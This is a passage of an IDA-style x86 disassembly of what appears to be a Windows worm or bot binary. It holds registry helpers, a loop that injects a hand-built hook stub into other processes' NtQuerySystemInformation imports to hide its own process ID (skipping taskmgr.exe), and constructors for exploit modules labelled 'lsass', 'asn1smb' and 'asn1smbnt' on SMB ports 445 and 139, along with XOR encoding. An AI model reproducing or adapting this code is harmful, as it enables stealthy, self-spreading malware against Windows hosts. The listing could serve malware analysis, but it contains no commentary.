		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		mov	[esi+4], eax
		push	dword ptr [esi]
		call	ds:dword_429004	; RegQueryValueExA
		mov	eax, [esi+4]
		leave
		retn	4
sub_40DA05	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4A	proc near		; CODE XREF: sub_4048C1+36p
					; sub_4048C1+A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	4
		lea	eax, [esp+4+arg_8]
		push	eax
		mov	eax, [esp+8+arg_0]
		push	4
		push	0
		push	[esp+10h+arg_4]
		push	dword ptr [eax]
		call	ds:dword_429020	; RegSetValueExA
		retn	0Ch
sub_40DA4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA68	proc near		; CODE XREF: sub_4048C1+3Fp
					; sub_404C05+31p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	0
		push	0
		push	[ebp+arg_4]
		mov	[ebp+var_4], 4
		push	dword ptr [eax]
		call	ds:dword_429004	; RegQueryValueExA
		mov	eax, [ebp+arg_4]
		leave
		retn	8
sub_40DA68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA94	proc near		; CODE XREF: sub_40DAB6+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_10]
		xor	eax, eax
		push	[ebp+arg_0]
		push	eax
		push	[ebp+arg_C]
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	ds:dword_42900C	; RegCreateKeyExA
		pop	ebp
		retn	14h
sub_40DA94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAB6	proc near		; CODE XREF: sub_40D8DC+11p
					; sub_416071+B3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_8]
		push	eax
		push	2001Fh
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DA94
		pop	ebp
		retn	0Ch
sub_40DAB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DAD4	proc near		; CODE XREF: sub_40DAEF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_0]
		push	[esp+4+arg_C]
		push	0
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		call	ds:dword_429010	; RegOpenKeyExA
		retn	10h
sub_40DAD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DAEF	proc near		; CODE XREF: sub_408CB7+DDp
					; sub_408F96+207p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	2001Fh
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40DAD4
		retn	0Ch
sub_40DAEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB08	proc near		; CODE XREF: sub_408F96+1D6p
					; sub_40D8F7+3p ...
		mov	ecx, [esi]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40DB1A
		push	ecx
		call	ds:dword_42901C	; RegCloseKey
		and	dword ptr [esi], 0

locret_40DB1A:				; CODE XREF: sub_40DB08+6j
		retn
sub_40DB08	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB1B	proc near		; CODE XREF: sub_408E9D+3Cp
					; sub_409351+2Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[esp+10h+arg_C]
		mov	eax, [esp+14h+arg_0]
		push	[esp+14h+arg_8]
		push	[esp+18h+arg_4]
		push	dword ptr [eax]
		call	ds:dword_429008	; RegEnumKeyExA
		retn	10h
sub_40DB1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; CODE XREF: sub_4142D6+364p
		push	esi
		mov	esi, eax
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	dword ptr [esi], offset	off_430624
		call	sub_416AC4
		mov	eax, esi
		pop	esi
		retn
sub_40DB3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_40DB56	proc near		; DATA XREF: .text:off_430624o

var_14D4	= byte ptr -14D4h
var_4D4		= dword	ptr -4D4h
var_2D4		= byte ptr -2D4h
var_1D0		= byte ptr -1D0h
var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_D8		= byte ptr -0D8h
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_96		= byte ptr -96h
var_74		= byte ptr -74h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	eax, 14D4h
		lea	ebp, [esp-78h]
		call	sub_41E090
		push	ebx
		push	esi
		push	offset aPsapi_dll ; "psapi.dll"
		mov	esi, ecx
		call	ds:dword_4290E4	; LoadLibraryA
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_40DEB8
		push	edi
		mov	edi, ds:dword_4290E0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	ebx
		call	edi	; GetProcAddress
		test	eax, eax
		mov	[ebp+78h+var_30], eax
		jz	loc_40DEB7
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	ebx
		call	edi	; GetProcAddress
		test	eax, eax
		mov	[ebp+78h+var_34], eax
		jz	loc_40DEB7
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ebx
		call	edi	; GetProcAddress
		test	eax, eax
		mov	[ebp+78h+var_24], eax
		jz	loc_40DEB7
		push	offset aGetprocessimag ; "GetProcessImageFileNameA"
		push	ebx
		call	edi	; GetProcAddress
		test	eax, eax
		mov	[ebp+78h+var_2C], eax
		jz	loc_40DEB7
		mov	edi, ds:dword_4290AC

loc_40DBD7:				; CODE XREF: sub_40DB56+35Cj
		lea	eax, [ebp+78h+var_20]
		push	eax
		push	200h
		lea	eax, [ebp+78h+var_4D4]
		push	eax
		call	[ebp+78h+var_30]
		and	[ebp+78h+var_C], 0
		test	[ebp+78h+var_20], 0FFFFFFFCh
		jbe	loc_40DEAA

loc_40DBFB:				; CODE XREF: sub_40DB56+34Ej
		mov	eax, [ebp+78h+var_C]
		push	[ebp+eax*4+78h+var_4D4]
		push	0
		push	43Ah
		call	ds:dword_42913C	; OpenProcess
		test	eax, eax
		mov	[esi+14h], eax
		jz	loc_40DE8F
		mov	ebx, 104h
		push	ebx
		lea	ecx, [ebp+78h+var_2D4]
		push	ecx
		push	eax
		call	[ebp+78h+var_2C]
		lea	eax, [ebp+78h+var_2D4]
		push	5Ch
		push	eax
		call	sub_41C8A0
		inc	eax
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jnz	short loc_40DC4A
		lea	eax, [ebp+78h+var_2D4]

loc_40DC4A:				; CODE XREF: sub_40DB56+ECj
		push	offset aTaskmgr_exe ; "taskmgr.exe"
		push	eax
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40DE8F
		lea	eax, [ebp+78h+var_38]
		push	eax
		push	4
		lea	eax, [ebp+78h+var_4]
		push	eax
		push	dword ptr [esi+14h]
		call	[ebp+78h+var_34]
		push	ebx
		lea	eax, [ebp+78h+var_2D4]
		push	eax
		push	[ebp+78h+var_4]
		push	dword ptr [esi+14h]
		call	[ebp+78h+var_24]
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	40h
		lea	eax, [ebp+78h+var_D8]
		push	eax
		push	[ebp+78h+var_4]
		push	dword ptr [esi+14h]
		call	edi	; ReadProcessMemory
		test	eax, eax
		jz	loc_40DE8F
		mov	ecx, [ebp+78h+var_9C]
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	0F8h
		lea	eax, [ebp+78h+var_1D0]
		push	eax
		mov	eax, [ebp+78h+var_4]
		add	ecx, eax
		push	ecx
		push	dword ptr [esi+14h]
		call	edi	; ReadProcessMemory
		test	eax, eax
		jz	loc_40DE8F
		cmp	[ebp+78h+var_178], 10101011h
		jz	loc_40DE8F
		lea	eax, [ebp+78h+var_3C]
		push	eax
		push	4
		push	[ebp+78h+var_17C]
		push	[ebp+78h+var_4]
		push	dword ptr [esi+14h]
		call	ds:dword_429140	; VirtualProtectEx
		mov	eax, [ebp+78h+var_17C]
		mov	ebx, 1000h
		cmp	eax, ebx
		jbe	short loc_40DCF9
		mov	eax, ebx

loc_40DCF9:				; CODE XREF: sub_40DB56+19Fj
		lea	ecx, [ebp+78h+var_8]
		push	ecx
		push	eax
		lea	eax, [ebp+78h+var_14D4]
		push	eax
		push	[ebp+78h+var_4]
		push	dword ptr [esi+14h]
		call	edi	; ReadProcessMemory
		test	eax, eax
		jz	loc_40DE8F
		mov	ecx, [ebp+78h+var_9C]
		lea	eax, [ebp+78h+var_40]
		push	eax
		mov	eax, [ebp+78h+var_4]
		push	4
		push	offset dword_42ABD8
		lea	eax, [ecx+eax+58h]
		push	eax
		push	dword ptr [esi+14h]
		call	ds:dword_42914C	; WriteProcessMemory
		test	eax, eax
		jz	loc_40DE8F
		push	40h
		push	ebx
		push	ebx
		push	0
		push	dword ptr [esi+14h]
		call	ds:dword_429144	; VirtualAllocEx
		test	eax, eax
		mov	[esi+10h], eax
		jz	loc_40DE8F
		mov	eax, [ebp+78h+var_14C]
		push	14h
		xor	edx, edx
		pop	ecx
		div	ecx
		and	[ebp+78h+var_14], 0
		test	eax, eax
		jbe	loc_40DE8F
		and	[ebp+78h+var_18], 0

loc_40DD73:				; CODE XREF: sub_40DB56+333j
		mov	ecx, [ebp+78h+var_18]
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	14h
		lea	eax, [ebp+78h+var_54]
		push	eax
		mov	eax, [ebp+78h+var_150]
		add	ecx, eax
		add	ecx, [ebp+78h+var_4]
		push	ecx
		push	dword ptr [esi+14h]
		call	edi	; ReadProcessMemory
		test	eax, eax
		jz	loc_40DE72
		mov	eax, [ebp+78h+var_48]
		test	eax, eax
		jz	loc_40DE72
		lea	ecx, [ebp+78h+var_8]
		push	ecx
		push	20h
		lea	ecx, [ebp+78h+var_74]
		push	ecx
		mov	ecx, [ebp+78h+var_4]
		add	eax, ecx
		push	eax
		push	dword ptr [esi+14h]
		call	edi	; ReadProcessMemory
		test	eax, eax
		jz	loc_40DE72
		lea	eax, [ebp+78h+var_74]
		push	offset aNtdll_dll ; "ntdll.dll"
		push	eax
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40DE72
		mov	eax, [ebp+78h+var_54]
		mov	ebx, [ebp+78h+var_44]
		lea	ecx, [ebp+78h+var_8]
		push	ecx
		push	4
		lea	ecx, [ebp+78h+var_1C]
		push	ecx
		mov	ecx, [ebp+78h+var_4]
		mov	[ebp+78h+var_10], eax
		add	eax, ecx
		push	eax
		jmp	short loc_40DE69
; ---------------------------------------------------------------------------

loc_40DDF4:				; CODE XREF: sub_40DB56+31Aj
		mov	eax, [ebp+78h+var_1C]
		test	eax, eax
		jz	short loc_40DE72
		lea	ecx, [ebp+78h+var_8]
		push	ecx
		push	22h
		lea	ecx, [ebp+78h+var_98]
		push	ecx
		mov	ecx, [ebp+78h+var_4]
		add	eax, ecx
		push	eax
		push	dword ptr [esi+14h]
		call	edi	; ReadProcessMemory
		test	eax, eax
		jz	short loc_40DE4F
		lea	eax, [ebp+78h+var_96]
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40DE4F
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	4
		lea	eax, [ebp+78h+var_28]
		push	eax
		mov	eax, [ebp+78h+var_4]
		add	eax, ebx
		push	eax
		push	dword ptr [esi+14h]
		call	edi	; ReadProcessMemory
		test	eax, eax
		jz	short loc_40DE4F
		mov	eax, [ebp+78h+var_4]
		mov	ecx, [ebp+78h+var_28]
		add	eax, ebx
		push	eax
		call	sub_40DEBF

loc_40DE4F:				; CODE XREF: sub_40DB56+2BCj
					; sub_40DB56+2D0j ...
		add	[ebp+78h+var_10], 4
		mov	ecx, [ebp+78h+var_10]
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	4
		lea	eax, [ebp+78h+var_1C]
		push	eax
		mov	eax, [ebp+78h+var_4]
		add	ebx, 4
		add	ecx, eax
		push	ecx

loc_40DE69:				; CODE XREF: sub_40DB56+29Cj
		push	dword ptr [esi+14h]
		call	edi	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_40DDF4

loc_40DE72:				; CODE XREF: sub_40DB56+23Dj
					; sub_40DB56+248j ...
		mov	eax, [ebp+78h+var_14C]
		push	14h
		xor	edx, edx
		pop	ecx
		div	ecx
		inc	[ebp+78h+var_14]
		add	[ebp+78h+var_18], 14h
		cmp	[ebp+78h+var_14], eax
		jb	loc_40DD73

loc_40DE8F:				; CODE XREF: sub_40DB56+C1j
					; sub_40DB56+103j ...
		push	dword ptr [esi+14h]
		call	ds:dword_4290F0	; CloseHandle
		mov	eax, [ebp+78h+var_20]
		inc	[ebp+78h+var_C]
		shr	eax, 2
		cmp	[ebp+78h+var_C], eax
		jb	loc_40DBFB

loc_40DEAA:				; CODE XREF: sub_40DB56+9Fj
		push	32h
		call	ds:dword_429084	; Sleep
		jmp	loc_40DBD7
; ---------------------------------------------------------------------------

loc_40DEB7:				; CODE XREF: sub_40DB56+3Cj
					; sub_40DB56+4Fj ...
		pop	edi

loc_40DEB8:				; CODE XREF: sub_40DB56+22j
		pop	esi
		pop	ebx
		add	ebp, 78h
		leave
		retn
sub_40DB56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DEBF	proc near		; CODE XREF: sub_40DB56+2F4p

var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_5D		= byte ptr -5Dh
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= byte ptr -5Ah
var_59		= byte ptr -59h
var_58		= byte ptr -58h
var_57		= byte ptr -57h
var_56		= byte ptr -56h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_42		= byte ptr -42h
var_41		= byte ptr -41h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_33		= byte ptr -33h
var_32		= byte ptr -32h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		or	al, 0FFh
		mov	[ebp+var_5D], al
		mov	[ebp+var_5A], al
		mov	[ebp+var_57], al
		mov	[ebp+var_54], al
		xor	al, al
		push	edi
		mov	[ebp+var_60], 55h
		mov	[ebp+var_5F], 8Bh
		mov	[ebp+var_5E], 0ECh
		mov	[ebp+var_5C], 75h
		mov	[ebp+var_5B], 14h
		mov	[ebp+var_59], 75h
		mov	[ebp+var_58], 10h
		mov	[ebp+var_56], 75h
		mov	[ebp+var_55], 0Ch
		mov	[ebp+var_53], 75h
		mov	[ebp+var_52], 8
		mov	[ebp+var_51], 0E8h
		mov	[ebp+var_50], al
		mov	[ebp+var_4F], al
		mov	[ebp+var_4E], al
		mov	[ebp+var_4D], al
		mov	[ebp+var_4C], 53h
		mov	[ebp+var_4B], 50h
		mov	[ebp+var_4A], 52h
		mov	[ebp+var_49], 83h
		mov	[ebp+var_48], 0F8h
		mov	[ebp+var_47], al
		mov	[ebp+var_46], 75h
		mov	[ebp+var_45], 2Ch
		mov	[ebp+var_44], 83h
		mov	[ebp+var_43], 7Dh
		mov	[ebp+var_42], 8
		mov	[ebp+var_41], 5
		mov	[ebp+var_40], 75h
		mov	[ebp+var_3F], 26h
		mov	[ebp+var_3E], 8Bh
		mov	[ebp+var_3D], 45h
		mov	[ebp+var_3C], 0Ch
		mov	[ebp+var_3B], 8Bh
		mov	[ebp+var_3A], 0D0h
		mov	[ebp+var_39], 81h
		mov	[ebp+var_38], 78h
		mov	[ebp+var_37], 44h
		mov	[ebp+var_36], al
		mov	[ebp+var_35], al
		mov	[ebp+var_34], al
		mov	[ebp+var_33], al
		mov	[ebp+var_32], 8Bh
		mov	[ebp+var_31], 18h
		mov	[ebp+var_30], 75h
		mov	[ebp+var_2F], 0Dh
		mov	[ebp+var_2E], 83h
		mov	[ebp+var_2D], 38h
		mov	[ebp+var_2C], al
		mov	[ebp+var_2B], 75h
		mov	[ebp+var_2A], 6
		mov	[ebp+var_29], 33h
		mov	[ebp+var_28], 0DBh
		mov	[ebp+var_27], 89h
		mov	[ebp+var_26], 1Ah
		mov	[ebp+var_25], 0EBh
		mov	[ebp+var_24], 2
		mov	[ebp+var_23], 1
		mov	[ebp+var_22], 1Ah
		mov	[ebp+var_21], 8Bh
		mov	[ebp+var_20], 0D0h
		mov	[ebp+var_1F], 3
		mov	[ebp+var_1E], 0C3h
		mov	[ebp+var_1D], 83h
		mov	[ebp+var_1C], 0FBh
		mov	[ebp+var_1B], al
		mov	[ebp+var_1A], 75h
		mov	[ebp+var_19], 0DFh
		mov	[ebp+var_18], 5Ah
		mov	[ebp+var_17], 58h
		mov	[ebp+var_16], 5Bh
		mov	[ebp+var_15], 5Dh
		mov	[ebp+var_14], 0C2h
		mov	[ebp+var_13], 10h
		sub	ecx, [esi+10h]
		mov	[ebp+var_12], al
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_50]
		sub	ecx, 14h
		push	eax
		mov	[ebp+var_4], ecx
		call	sub_41BC60
		add	esp, 0Ch
		call	ds:dword_429148	; GetCurrentProcessId
		mov	[ebp+var_8], eax
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_36]
		push	eax
		call	sub_41BC60
		mov	eax, [esi+10h]
		mov	edi, ds:dword_42914C
		add	esp, 0Ch
		lea	ecx, [ebp+var_C]
		push	ecx
		push	4Fh
		lea	ecx, [ebp+var_60]
		push	ecx
		push	eax
		push	dword ptr [esi+14h]
		mov	[ebp+var_10], eax
		call	edi	; WriteProcessMemory
		test	eax, eax
		jz	short loc_40E05E
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		push	dword ptr [esi+14h]
		call	edi	; WriteProcessMemory

loc_40E05E:				; CODE XREF: sub_40DEBF+18Bj
		pop	edi
		leave
		retn	4
sub_40DEBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E063	proc near		; CODE XREF: sub_40E258+37p
		push	edi
		push	1BDh
		mov	edi, eax
		push	offset aLsass	; "lsass"
		call	sub_40E0BC
		mov	dword ptr [edi], offset	off_4306C8
		mov	eax, edi
		pop	edi
		retn
sub_40E063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E07F	proc near		; CODE XREF: sub_408B3D+3p
					; sub_4280CC+29j
		jmp	sub_416AA6
sub_40E07F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E084	proc near		; CODE XREF: sub_40E258+53p
		push	edi
		push	1BDh
		mov	edi, eax
		push	offset aAsn1smb	; "asn1smb"
		call	sub_40E0BC
		mov	dword ptr [edi], offset	off_430718
		mov	eax, edi
		pop	edi
		retn
sub_40E084	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0A0	proc near		; CODE XREF: sub_40E258+6Fp
		push	edi
		push	8Bh
		mov	edi, eax
		push	offset aAsn1smbnt ; "asn1smbnt"
		call	sub_40E0BC
		mov	dword ptr [edi], offset	off_430708
		mov	eax, edi
		pop	edi
		retn
sub_40E0A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0BC	proc near		; CODE XREF: sub_40E063+Dp
					; sub_40E084+Dp ...

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		and	dword ptr [edi+4], 0
		or	dword ptr [edi+0Ch], 0FFFFFFFFh
		push	esi
		lea	esi, [edi+10h]
		mov	dword ptr [edi], offset	off_430728
		call	sub_414878
		push	40h
		push	[esp+8+arg_0]
		lea	eax, [edi+584h]
		push	eax
		call	sub_41C5A0
		mov	ax, [esp+10h+arg_4]
		add	esp, 0Ch
		mov	[edi+5C4h], ax
		mov	eax, edi
		pop	esi
		retn	8
sub_40E0BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E0FA	proc near		; CODE XREF: sub_40E357+14p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [ebx+10h]
		mov	ecx, 15Dh
		rep movsd
		mov	ecx, [esp+8+arg_0]
		xor	eax, eax
		call	sub_4149DD
		mov	esi, ebx
		call	sub_416AC4
		pop	edi
		pop	esi
		retn	4
sub_40E0FA	endp

; ---------------------------------------------------------------------------

loc_40E121:				; DATA XREF: .text:off_4306C8o
					; .text:off_430708o ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+0Ch]
		push	3
		lea	eax, [esi+10h]
		call	sub_414D44
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40E135	proc near		; CODE XREF: sub_40E45D+4p
					; .text:0042793Cj
		mov	eax, [eax]
		test	eax, eax
		jz	short locret_40E142
		push	eax
		call	sub_41CA28
		pop	ecx

locret_40E142:				; CODE XREF: sub_40E135+4j
		retn
sub_40E135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E143	proc near		; CODE XREF: sub_40C5E6+66p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, [esi+4]
		push	edi
		push	ebx
		call	sub_41BAB5
		push	ebx
		push	dword ptr [esi]
		mov	[ebp+var_8], eax
		push	eax
		call	sub_41BC60
		add	esp, 10h
		lea	edi, [ebx+1Ch]
		call	sub_40E23E
		push	1Ch
		mov	esi, eax
		push	offset loc_4352B4
		push	esi
		call	sub_41BC60
		add	esp, 0Ch
		xor	eax, eax
		test	ebx, ebx
		mov	cl, 1
		jbe	short loc_40E1C5

loc_40E188:				; CODE XREF: sub_40E143+80j
		and	[ebp+var_4], 0
		cmp	[ebp+arg_4], 0
		jbe	short loc_40E1C0
		mov	edx, [ebp+var_8]
		movzx	edx, byte ptr [eax+edx]
		movzx	edi, cl
		xor	edx, edi
		mov	[ebp+var_10], edx

loc_40E1A1:				; CODE XREF: sub_40E143+76j
		mov	edx, [ebp+arg_0]
		mov	edi, [ebp+var_4]
		movsx	edx, byte ptr [edi+edx]
		cmp	[ebp+var_10], edx
		jz	short loc_40E1BD
		inc	[ebp+var_4]
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jb	short loc_40E1A1
		jmp	short loc_40E1C0
; ---------------------------------------------------------------------------

loc_40E1BD:				; CODE XREF: sub_40E143+6Bj
		inc	cl
		dec	eax

loc_40E1C0:				; CODE XREF: sub_40E143+4Dj
					; sub_40E143+78j
		inc	eax
		cmp	eax, ebx
		jb	short loc_40E188

loc_40E1C5:				; CODE XREF: sub_40E143+43j
		xor	edx, edx
		test	ebx, ebx
		jbe	short loc_40E1D7

loc_40E1CB:				; CODE XREF: sub_40E143+92j
		mov	eax, [ebp+var_8]
		add	eax, edx
		xor	[eax], cl
		inc	edx
		cmp	edx, ebx
		jb	short loc_40E1CB

loc_40E1D7:				; CODE XREF: sub_40E143+86j
		mov	[esi+18h], cl
		mov	cl, 1
		cmp	bl, cl
		mov	al, cl
		jnz	short loc_40E1E5
		add	cl, 0Fh

loc_40E1E5:				; CODE XREF: sub_40E143+9Dj
		mov	edx, ebx
		shr	edx, 8
		cmp	dl, 1
		jnz	short loc_40E1F1
		mov	al, 10h

loc_40E1F1:				; CODE XREF: sub_40E143+AAj
		xor	edx, edx
		mov	dh, al
		mov	eax, ebx
		push	2
		mov	dl, cl
		xor	eax, edx
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [esi+0Eh]
		push	eax
		mov	[ebp+var_C], edx
		call	sub_41BC60
		push	2
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [esi+13h]
		push	eax
		call	sub_41BC60
		push	ebx
		push	[ebp+var_8]
		add	esi, 1Ch
		push	esi
		call	sub_41BC60
		push	[ebp+var_8]
		call	sub_41CA28
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_40E143	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E23E	proc near		; CODE XREF: sub_40C5E6+2Ap
					; sub_40E143+26p
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40E24B
		push	eax
		call	sub_41CA28
		pop	ecx

loc_40E24B:				; CODE XREF: sub_40E23E+4j
		push	edi
		mov	[esi+4], edi
		call	sub_41BAB5
		pop	ecx
		mov	[esi], eax
		retn
sub_40E23E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E258	proc near		; CODE XREF: .text:0042802Cp
		mov	eax, offset loc_42792F
		call	sub_41E550
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		call	sub_4099E5
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		mov	[esi+10h], ebx
		mov	edi, 5C8h
		push	edi
		mov	byte ptr [ebp-4], 1
		call	sub_41BA91
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40E296
		call	sub_40E063
		jmp	short loc_40E298
; ---------------------------------------------------------------------------

loc_40E296:				; CODE XREF: sub_40E258+35j
		xor	eax, eax

loc_40E298:				; CODE XREF: sub_40E258+3Cj
		push	eax
		mov	eax, esi
		call	sub_40E438
		push	edi
		call	sub_41BA91
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40E2B2
		call	sub_40E084
		jmp	short loc_40E2B4
; ---------------------------------------------------------------------------

loc_40E2B2:				; CODE XREF: sub_40E258+51j
		xor	eax, eax

loc_40E2B4:				; CODE XREF: sub_40E258+58j
		push	eax
		mov	eax, esi
		call	sub_40E438
		push	edi
		call	sub_41BA91
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40E2CE
		call	sub_40E0A0
		jmp	short loc_40E2D0
; ---------------------------------------------------------------------------

loc_40E2CE:				; CODE XREF: sub_40E258+6Dj
		xor	eax, eax

loc_40E2D0:				; CODE XREF: sub_40E258+74j
		push	eax
		mov	eax, esi
		call	sub_40E438
		mov	ecx, [ebp-0Ch]
		mov	[esi+18h], ebx
		mov	[esi+14h], ebx
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
